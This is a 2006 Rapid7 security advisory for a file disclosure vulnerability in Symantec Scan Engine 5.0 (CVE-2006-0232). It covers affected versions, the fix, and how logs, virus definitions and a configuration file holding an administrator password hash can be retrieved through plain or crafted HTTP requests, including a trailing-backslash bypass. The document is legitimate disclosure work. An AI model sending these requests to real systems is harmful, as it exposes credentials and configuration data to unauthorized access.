Symantec Scan Engine File Disclosure Vulnerability

Advisory Content :

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Rapid7, LLC Security Advisory
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Rapid7 Advisory R7-0023
Symantec Scan Engine File Disclosure Vulnerability

Published: April 21, 2006
Revision: 1.0
http://www.rapid7.com/advisories/R7-0023.html

CVE: CVE-2006-0232

1. Affected system(s):

KNOWN VULNERABLE:
o Symantec Scan Engine v5.0.0.24

KNOWN FIXED:
o Symantec Scan Engine v5.1.0.7

UNKNOWN (PROBABLY VULNERABLE):
o All v5.0.x.x
o Earlier versions

2. Summary

There is a vulnerability in Symantec Scan Engine which allows
unauthenticated remote users to download any file located under the
Symantec Scan Engine installation directory. For instance the
configuration file, the scanning logs, as well as the current virus
definitions can all be accessed by any remote user using regular or
specially crafted HTTP requests.

NeXpose, Rapid7's award-winning vulnerability assessment platform,
checks for this vulnerability and other vulnerabilities we have
discovered in Symantec Scan Engine. Visit http://www.rapid7.com
to register for a free demo of NeXpose.

3. Vendor status and information

Symantec Corporation
http://www.symantec.com

Symantec was notified of this vulnerability on January 17, 2006.
They acknowledged the vulnerability, then provided us with a
fixed version. Rapid7's advisory was publicly released on April 21,
2006.

4. Solution

Upgrade to Symantec Scan Engine v5.1.0.7 or later. Another option is
to disable the web interface of the scan engine by logging in,
setting the TCP port from 8004 to 0, and then restarting the Scan
Engine.

5. Detailed analysis

Symantec Scan Engine stores multiple files inside its web root (the
default directory is "C:Program FilesSymantecScan Engine"). Most
of the files are accessible by any unauthenticated user via regular
URLs. For example the following URLs will download the log and
corresponding data file for October 17th, 2005:

http://x.x.x.x:8004/log/SSE20051017.log
http://x.x.x.x:8004/log/SSE20051017.dat

In the same way, virus definitions can be accessed from:

http://x.x.x.x:8004/Definitions/AntiVirus/VirusDefs/VIRSCAN1.DAT
http://x.x.x.x:8004/Definitions/AntiVirus/VirusDefs/VIRSCAN2.DAT

Such sensitive knowledge of installed virus definitions will allow
an attacker to determine what viruses can be used to infect the
network without detection.

Files ending with the '.xml' extension are protected by the HTTP
daemon. However, the protection can be easily defeated by appending
a trailing backslash to the filename. For example the configuration
file configuration.xml, which contains the administrator's password
hash, can be accessed by the following HTTP request:

GET /configuration.xml HTTP/1.0

The above request will yield the following configuration snippet:

<system>
<TempDir value="C:Program FilesSymantecScan Enginetemp"/>
[...]
<InstallDir value="C:Program FilesSymantecScan Engine"/>
<LoadMaximumQueuedClients value="100"/>
<admin>
<port value="8004"/>
<sslport value="8005"/>
<ip value=""/>
<timeout value="300"/>
<password value=
"8369951FB31356D389FBEE4B52F6A7BB51AAE8FBE4B8DB29D249F347C3426D19"/>
</admin>
</system>

6. Credit

This vulnerability was discovered by Joe Testa of Rapid7.

7. Contact Information

Rapid7, LLC
Email: advisory (at) rapid7 (dot) com [email concealed]
Web: http://www.rapid7.com
Phone: +1 (617) 247-1717

8. Disclaimer and Copyright

Rapid7, LLC is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES with
regard to this information. Any application or distribution of this
information constitutes acceptance AS IS, at the user's own risk.
This information is subject to change without notice.

This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
granted to redistribute this advisory, providing that no changes are
made and that the copyright notices and disclaimers remain intact.

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Symantec Scan Engine File Disclosure Vulnerability